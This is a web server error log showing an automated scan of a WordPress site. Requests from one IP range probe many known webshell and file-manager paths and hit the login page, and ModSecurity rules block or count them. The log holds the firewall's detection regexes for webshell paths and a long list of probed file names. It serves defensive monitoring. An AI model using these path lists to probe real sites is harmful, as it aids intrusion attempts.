[Fri Jan 30 22:11:06.293028 2026] [proxy_fcgi:error] [pid 24711:tid 24724] [client 45.137.126.47:34137] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:06.855939 2026] [proxy_fcgi:error] [pid 24711:tid 24715] [client 45.137.126.47:34137] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:07.984617 2026] [proxy_fcgi:error] [pid 24711:tid 24724] [client 45.137.126.47:34137] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:08.581639 2026] [proxy_fcgi:error] [pid 24711:tid 24736] [client 45.137.126.47:34137] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:09.152022 2026] [proxy_fcgi:error] [pid 24711:tid 24721] [client 45.137.126.47:34137] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:09.707621 2026] [proxy_fcgi:error] [pid 24711:tid 24724] [client 45.137.126.47:34137] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:10.283611 2026] [proxy_fcgi:error] [pid 24711:tid 24735] [client 45.137.126.47:34137] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:13.881647 2026] [proxy_fcgi:error] [pid 24711:tid 24728] [client 45.137.126.47:34137] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:14.435608 2026] [proxy_fcgi:error] [pid 24711:tid 24714] [client 45.137.126.47:34137] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:15.004599 2026] [proxy_fcgi:error] [pid 24711:tid 24735] [client 45.137.126.47:34137] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:15.559699 2026] [proxy_fcgi:error] [pid 24711:tid 24726] [client 45.137.126.47:34137] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:23.448989 2026] [:error] [pid 24711:tid 24720] [client 45.137.126.47:34137] [client 45.137.126.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aXy8C65Gwh4var6T23K07QAAAUY"]
[Fri Jan 30 22:11:26.210668 2026] [:error] [pid 46914:tid 46995] [client 45.137.126.53:57453] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aXy8DlgSfJ4kZxNKlb_gFAAAAJE"]
[Fri Jan 30 22:11:29.245213 2026] [proxy_fcgi:error] [pid 24711:tid 24738] [client 45.137.126.9:54943] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:30.941969 2026] [:error] [pid 24711:tid 24726] [client 45.137.126.9:54943] [client 45.137.126.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aXy8Eq5Gwh4var6T23K1MAAAAUw"]
[Fri Jan 30 22:11:32.638631 2026] [proxy_fcgi:error] [pid 24712:tid 24759] [client 45.137.126.25:48331] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:33.214682 2026] [proxy_fcgi:error] [pid 24712:tid 24751] [client 45.137.126.25:48331] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:33.773758 2026] [:error] [pid 24712:tid 24765] [client 45.137.126.25:48331] [client 45.137.126.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aXy8FYRLQrFiQF3h9-teVAAAAZc"]
[Fri Jan 30 22:11:35.470653 2026] [proxy_fcgi:error] [pid 38980:tid 39006] [client 45.137.126.4:54215] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:38.241452 2026] [:error] [pid 38980:tid 38995] [client 45.137.126.4:54215] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aXy8GrYByxUZEaKXdHq01wAAAgg"]
[Fri Jan 30 22:11:39.884504 2026] [:error] [pid 47021:tid 47041] [client 45.137.126.40:61887] [client 45.137.126.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aXy8G9ap1k13UdZUNSRaJAAAANI"]
[Fri Jan 30 22:11:40.985624 2026] [:error] [pid 47021:tid 47030] [client 45.137.126.15:21645] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aXy8HNap1k13UdZUNSRaNAAAAMc"]
[Fri Jan 30 22:11:42.106329 2026] [:error] [pid 46912:tid 46942] [client 45.137.126.30:35399] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aXy8Hj6yiVW7A9NwFFn1oAAAABI"]
[Fri Jan 30 22:11:43.197245 2026] [:error] [pid 38686:tid 38698] [client 45.137.126.7:48355] [client 45.137.126.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aXy8HwoE8BAjgw1_sAV51AAAAcg"]
[Fri Jan 30 22:11:44.349632 2026] [:error] [pid 24681:tid 24689] [client 45.137.126.20:41537] [client 45.137.126.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aXy8IIE368IXQpahn0KRJAAAAQY"]
[Fri Jan 30 22:11:46.027072 2026] [:error] [pid 38686:tid 38693] [client 45.137.126.50:47135] [client 45.137.126.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aXy8IgoE8BAjgw1_sAV59AAAAcM"]
[Fri Jan 30 22:11:47.136841 2026] [proxy_fcgi:error] [pid 24711:tid 24721] [client 45.137.126.16:43737] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:48.242199 2026] [:error] [pid 24711:tid 24728] [client 45.137.126.16:43737] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aXy8JK5Gwh4var6T23K10QAAAU4"]
[Fri Jan 30 22:11:49.348728 2026] [proxy_fcgi:error] [pid 47663:tid 47685] [client 45.137.126.39:65413] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:49.935631 2026] [proxy_fcgi:error] [pid 47663:tid 47670] [client 45.137.126.39:65413] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:50.482651 2026] [:error] [pid 47663:tid 47681] [client 45.137.126.39:65413] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aXy8JkHGTrgIKCqEYbWnCwAAAlA"]
[Fri Jan 30 22:11:52.144414 2026] [:error] [pid 38686:tid 38710] [client 45.137.126.25:45383] [client 45.137.126.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aXy8KAoE8BAjgw1_sAV6IgAAAdQ"]
[Fri Jan 30 22:11:53.251616 2026] [proxy_fcgi:error] [pid 47663:tid 47674] [client 45.137.126.51:26661] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:53.802936 2026] [:error] [pid 47663:tid 47680] [client 45.137.126.51:26661] [client 45.137.126.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aXy8KUHGTrgIKCqEYbWnIAAAAk8"]
[Fri Jan 30 22:11:54.921648 2026] [proxy_fcgi:error] [pid 24712:tid 24748] [client 45.137.126.31:31705] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:56.615632 2026] [proxy_fcgi:error] [pid 24712:tid 24745] [client 45.137.126.31:31705] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:58.302597 2026] [:error] [pid 24712:tid 24754] [client 45.137.126.31:31705] [client 45.137.126.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aXy8LoRLQrFiQF3h9-tfLQAAAY0"]
[Fri Jan 30 22:11:59.421631 2026] [proxy_fcgi:error] [pid 24712:tid 24744] [client 45.137.126.18:49873] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:11:59.968386 2026] [:error] [pid 24712:tid 24760] [client 45.137.126.18:49873] [client 45.137.126.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aXy8L4RLQrFiQF3h9-tfSQAAAZI"]
[Fri Jan 30 22:12:01.120857 2026] [proxy_fcgi:error] [pid 47663:tid 47668] [client 45.137.126.20:53107] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:02.241493 2026] [:error] [pid 47663:tid 47667] [client 45.137.126.20:53107] [client 45.137.126.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aXy8MkHGTrgIKCqEYbWnbQAAAkI"]
[Fri Jan 30 22:12:03.956298 2026] [:error] [pid 24711:tid 24726] [client 45.137.126.41:27295] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aXy8M65Gwh4var6T23K2igAAAUw"]
[Fri Jan 30 22:12:05.674607 2026] [proxy_fcgi:error] [pid 38980:tid 38998] [client 45.137.126.48:23357] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:06.229624 2026] [proxy_fcgi:error] [pid 38980:tid 38988] [client 45.137.126.48:23357] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:07.401289 2026] [:error] [pid 38980:tid 38989] [client 45.137.126.48:23357] [client 45.137.126.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aXy8N7YByxUZEaKXdHq1yAAAAgI"]
[Fri Jan 30 22:12:09.083055 2026] [:error] [pid 24712:tid 24744] [client 45.137.126.13:37433] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aXy8OYRLQrFiQF3h9-tftwAAAYM"]
[Fri Jan 30 22:12:10.755379 2026] [:error] [pid 24681:tid 24685] [client 45.137.126.26:60257] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aXy8OoE368IXQpahn0KSLAAAAQI"]
[Fri Jan 30 22:12:11.856481 2026] [:error] [pid 46912:tid 46942] [client 45.137.126.37:28803] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aXy8Oz6yiVW7A9NwFFn2rAAAABI"]
[Fri Jan 30 22:12:12.963421 2026] [:error] [pid 46912:tid 46935] [client 45.137.126.38:56337] [client 45.137.126.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aXy8PD6yiVW7A9NwFFn2ugAAAAs"]
[Fri Jan 30 22:12:15.263390 2026] [proxy_fcgi:error] [pid 38980:tid 38997] [client 45.137.126.40:37045] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:15.870266 2026] [:error] [pid 38980:tid 38995] [client 45.137.126.40:37045] [client 45.137.126.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aXy8P7YByxUZEaKXdHq2HwAAAgg"]
[Fri Jan 30 22:12:16.963672 2026] [:error] [pid 47021:tid 47028] [client 45.137.126.53:32917] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aXy8QNap1k13UdZUNSRbtgAAAMU"]
[Fri Jan 30 22:12:18.059053 2026] [:error] [pid 24681:tid 24690] [client 45.137.126.25:37207] [client 45.137.126.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aXy8QoE368IXQpahn0KSYQAAAQc"]
[Fri Jan 30 22:12:20.304690 2026] [proxy_fcgi:error] [pid 46912:tid 46945] [client 45.137.126.16:34959] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:21.454637 2026] [proxy_fcgi:error] [pid 46912:tid 46922] [client 45.137.126.16:34959] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:22.035613 2026] [proxy_fcgi:error] [pid 46912:tid 46945] [client 45.137.126.16:34959] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:23.752027 2026] [:error] [pid 46912:tid 46945] [client 45.137.126.16:34959] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aXy8Rz6yiVW7A9NwFFn3EgAAABU"]
[Fri Jan 30 22:12:26.595028 2026] [:error] [pid 46913:tid 46975] [client 45.137.126.15:64357] [client 45.137.126.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.15, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aXy8SjMWmKL8hOfC3uTeewAAAFg"]
[Fri Jan 30 22:12:27.153658 2026] [proxy_fcgi:error] [pid 46913:tid 46966] [client 45.137.126.15:64357] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:29.994623 2026] [proxy_fcgi:error] [pid 46913:tid 46968] [client 45.137.126.15:64357] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:30.555658 2026] [proxy_fcgi:error] [pid 46913:tid 46974] [client 45.137.126.15:64357] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:33.402820 2026] [:error] [pid 46913:tid 46972] [client 45.137.126.15:64357] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aXy8UTMWmKL8hOfC3uTeyAAAAFU"]
[Fri Jan 30 22:12:35.084579 2026] [proxy_fcgi:error] [pid 46912:tid 46946] [client 45.137.126.39:58943] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:35.639234 2026] [:error] [pid 46912:tid 46943] [client 45.137.126.39:58943] [client 45.137.126.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.39, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aXy8Uz6yiVW7A9NwFFn3bAAAABM"]
[Fri Jan 30 22:12:36.752342 2026] [:error] [pid 46912:tid 46936] [client 45.137.126.39:58943] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/item.php"] [unique_id "aXy8VD6yiVW7A9NwFFn3dgAAAAw"]
[Fri Jan 30 22:12:38.422728 2026] [proxy_fcgi:error] [pid 24712:tid 24756] [client 45.137.126.47:36295] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:40.165666 2026] [proxy_fcgi:error] [pid 24712:tid 24756] [client 45.137.126.47:36295] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:41.280868 2026] [proxy_fcgi:error] [pid 24712:tid 24747] [client 45.137.126.47:36295] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:42.392428 2026] [:error] [pid 24712:tid 24744] [client 45.137.126.47:36295] [client 45.137.126.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aXy8WoRLQrFiQF3h9-tgmQAAAYM"]
[Fri Jan 30 22:12:43.497815 2026] [proxy_fcgi:error] [pid 24711:tid 24729] [client 45.137.126.30:28489] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:45.194448 2026] [proxy_fcgi:error] [pid 24711:tid 24723] [client 45.137.126.30:28489] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:46.323636 2026] [proxy_fcgi:error] [pid 24711:tid 24734] [client 45.137.126.30:28489] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:47.505610 2026] [proxy_fcgi:error] [pid 24711:tid 24734] [client 45.137.126.30:28489] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:48.054265 2026] [:error] [pid 24711:tid 24726] [client 45.137.126.30:28489] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aXy8YK5Gwh4var6T23K4pwAAAUw"]
[Fri Jan 30 22:12:49.155644 2026] [proxy_fcgi:error] [pid 24712:tid 24761] [client 45.137.126.4:46159] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:49.716040 2026] [proxy_fcgi:error] [pid 24712:tid 24766] [client 45.137.126.4:46159] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:50.274514 2026] [:error] [pid 24712:tid 24741] [client 45.137.126.4:46159] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aXy8YoRLQrFiQF3h9-tg6gAAAYA"]
[Fri Jan 30 22:12:51.935695 2026] [proxy_fcgi:error] [pid 38980:tid 38998] [client 45.137.126.15:58115] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:12:53.043292 2026] [:error] [pid 38980:tid 39010] [client 45.137.126.15:58115] [client 45.137.126.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.15, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aXy8ZbYByxUZEaKXdHq3FgAAAhc"]
[Fri Jan 30 22:12:53.596599 2026] [:error] [pid 38980:tid 38991] [client 45.137.126.15:58115] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aXy8ZbYByxUZEaKXdHq3IQAAAgQ"]
[Fri Jan 30 22:13:00.347617 2026] [proxy_fcgi:error] [pid 46912:tid 46941] [client 45.137.126.52:20185] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:02.609623 2026] [proxy_fcgi:error] [pid 46912:tid 46925] [client 45.137.126.52:20185] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:03.734198 2026] [proxy_fcgi:error] [pid 46912:tid 46934] [client 45.137.126.52:20185] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:04.284528 2026] [:error] [pid 46912:tid 46928] [client 45.137.126.52:20185] [client 45.137.126.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aXy8cD6yiVW7A9NwFFn4PQAAAAQ"]
[Fri Jan 30 22:13:05.388091 2026] [proxy_fcgi:error] [pid 38980:tid 39010] [client 45.137.126.47:59825] AH01071: Got error 'Primary script unknown'
